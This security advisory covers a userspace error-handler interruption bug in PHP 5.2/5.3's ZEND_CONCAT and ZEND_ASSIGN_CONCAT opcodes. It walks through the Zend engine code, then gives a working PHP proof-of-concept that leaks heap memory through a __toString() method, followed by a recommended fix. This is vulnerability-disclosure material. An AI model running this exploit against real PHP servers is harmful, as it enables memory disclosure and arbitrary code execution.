PHP’s ZEND_CONCAT/ZEND_ASSIGN_CONCAT opcodes can be abused for information leakage or memory corruption by a userspace error handler interruption attack. This can be leveraged to execute arbitrary code.
Affected versions
Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2
Credits
The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.
Detailed information
This vulnerability is similar to the other interruption vulnerabilities discussed in Stefan Esser’s talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. The ZEND_CONCAT/ZEND_ASSIGN_CONCAT opcode interruption is different from most of the previously disclosed interruption vulnerabilities because it does not interrupt an internal PHP function, but an opcode handler of the Zend Engine. This is different because the usual recommendation to disable call time pass by reference to fix this vulnerability does not work here.
To understand how the ZEND_CONCAT and ZEND_ASSIGN_CONCAT opcodes can be interrupted by a userspace error handler it is necessary to look into the implementation of the opcodes. Because they are very much alike we will only check the ZEND_CONCAT case.
{
zend_op *opline = EX(opline);
zend_free_op free_op1, free_op2;
concat_function(&EX_T(opline->result.u.var).tmp_var,
GET_OP1_ZVAL_PTR(BP_VAR_R),
GET_OP2_ZVAL_PTR(BP_VAR_R) TSRMLS_CC);
FREE_OP1();
FREE_OP2();
ZEND_VM_NEXT_OPCODE();
}
The handler itself does only call the concat_function() and passes a temporary result variable and the two operands to this function. This is important to remember because both operands can be either constant values, temporary variable registers, normal variables and compiled variables. The concat_function() is implemented as seen below.
{
zval op1_copy, op2_copy;
int use_copy1 = 0, use_copy2 = 0;
if (Z_TYPE_P(op1) != IS_STRING) {
zend_make_printable_zval(op1, &op1_copy, &use_copy1);
}
if (Z_TYPE_P(op2) != IS_STRING) {
zend_make_printable_zval(op2, &op2_copy, &use_copy2);
}
if (use_copy1) {
/* We have created a converted copy of op1. Therefore, op1 won't become the result so
* we have to free it.
*/
if (result == op1) {
zval_dtor(op1);
}
op1 = &op1_copy;
}
if (use_copy2) {
op2 = &op2_copy;
}
if (result==op1) { /* special case, perform operations on result */
uint res_len = Z_STRLEN_P(op1) + Z_STRLEN_P(op2);
if (Z_STRLEN_P(result) < 0 || (int) (Z_STRLEN_P(op1) + Z_STRLEN_P(op2)) < 0) {
efree(Z_STRVAL_P(result));
ZVAL_EMPTY_STRING(result);
zend_error(E_ERROR, "String size overflow");
}
Z_STRVAL_P(result) = erealloc(Z_STRVAL_P(result), res_len+1);
memcpy(Z_STRVAL_P(result)+Z_STRLEN_P(result), Z_STRVAL_P(op2), Z_STRLEN_P(op2));
Z_STRVAL_P(result)[res_len]=0;
Z_STRLEN_P(result) = res_len;
} else {
Z_STRLEN_P(result) = Z_STRLEN_P(op1) + Z_STRLEN_P(op2);
Z_STRVAL_P(result) = (char *) emalloc(Z_STRLEN_P(result) + 1);
memcpy(Z_STRVAL_P(result), Z_STRVAL_P(op1), Z_STRLEN_P(op1));
memcpy(Z_STRVAL_P(result)+Z_STRLEN_P(op1), Z_STRVAL_P(op2), Z_STRLEN_P(op2));
Z_STRVAL_P(result)[Z_STRLEN_P(result)] = 0;
Z_TYPE_P(result) = IS_STRING;
}
if (use_copy1) {
zval_dtor(op1);
}
if (use_copy2) {
zval_dtor(op2);
}
return SUCCESS;
}
We can see that both operands are first converted to strings before they are concatenated. As usual the string conversion supports objects with __toString() methods, which means they are easily interrupted by an attacker. An attacker can therefore use an object with a __toString() method as second operand to change the type of the first operand. In case of the ZEND_CONCAT opcode the first operand and result operand are different, which results in memory for both strings being allocated and then both strings are copied into it. In case of a modified operand non string memory is copied into the buffer.
In case of the ZEND_ASSIGN_CONCAT opcode the first operand and result are the same. This means the first operand is first reallocated and then the second operand is appended. This basically means that an attacker can reallocate arbitrary memory addresses out of the way, which allows to free arbitrary memory blocks. This can be exploited to execute arbitrary code.
Proof of concept, exploit or instructions to reproduce
The following exploit code will leak the content of a hashtable to the attacker and attempt to leak an arbitrary address which results in a crash. The output will look like:
-------
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41 ............AAAA
00000010: 00 00 00 00 00 00 00 00 80 FC B4 00 01 00 00 00 ................
00000020: 80 FC B4 00 01 00 00 00 80 FC B4 00 01 00 00 00 ................
00000030: C0 FB B4 00 01 00 00 00 74 43 30 00 01 00 00 00 ........tC0.....
00000040: 00 00 01 41 41 41 41 41 -- -- -- -- -- -- -- -- ...AAAAA
And the exploit is as easy as:
error_reporting(E_ALL);
class dummyLeakArray
{
function __toString()
{
parse_str("x=1", $GLOBALS['a']);
return "AAAAA";
}
}
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
$GLOBALS['a'] = str_repeat("A", 39);
} else {
$GLOBALS['a'] = str_repeat("A", 67);
}
$b = new dummyLeakArray();
/* Trigger the Code */
$res = $a . $b;
hexdump($res);
class dummyLeakArbitrary
{
function __toString()
{
$GLOBALS['a'] += 0x55667788;
return "AAAAA";
}
}
/* Initialize */
$a = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
$b = new dummyLeakArbitrary();
/* Trigger the Code */
$res = $a . $b;
?>
Notes
In order to fix this vulnerability it is necessary to validate that after the string conversion both operands are indeed strings.







